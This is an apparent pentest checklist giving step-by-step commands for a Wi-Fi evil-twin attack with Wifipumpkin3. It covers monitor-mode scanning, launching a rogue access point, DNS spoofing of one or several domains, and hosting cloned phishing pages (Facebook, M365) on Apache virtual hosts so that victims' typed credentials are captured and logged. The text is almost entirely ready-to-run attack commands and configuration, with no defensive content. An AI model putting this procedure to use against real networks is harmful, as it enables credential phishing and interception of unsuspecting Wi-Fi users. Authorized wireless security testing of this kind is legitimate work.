Wi-Fi Pumpkin 3

Wi-Fi WPA Evil Twin Basic Wireless Pentest Checklist

Enable monitor mode and scan the network

airmon-ng start <interface>
airodump-ng <interface> -c <channel>

Identify target network and use Wifipumpkin3 to create a rogue AP

wifipumpkin3
set interface <interface>
set ssid <ssid>
set proxy noproxy
ignore pydns_server

DNS Spoof single domain

Use the show command to pick a module to perform via the AP such as spoof.dns_spoof

use spoof.dns_spoof
set domains <domain to spoof>
set redirectTo <IP to redirect>
start

The redirect IP is where the fake phishing page is hosted
To start the attack:

back
start

If someone enters credentials they will be captured and logged.

DNS spoof multiple domains

Host multiple phishing pages at /var/www/html within their own directory

/var/www/html/facebook
/var/www/html/m365

Configure VHOSTS for each site

/etc/apache2/sites-available/intranet1.conf
/etc/apache2/sites-available/intranet2.conf

<VirtualHost *:80>
    ServerAdmin <something>
    ServerName <something>
    ServerAlias www.<domain>.com
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Enable VHOSTS

a2ensite intranet1.conf
a2ensite intranet2.conf
a2ensite ... 
systemctl restart apache2

Configure WiFi Pumpkin 3

use spoof.dns_spoof
set domains <domain to spoof>, <domain to spoof>, <domain to spoof>
set redirectTo <IP to redirect>
start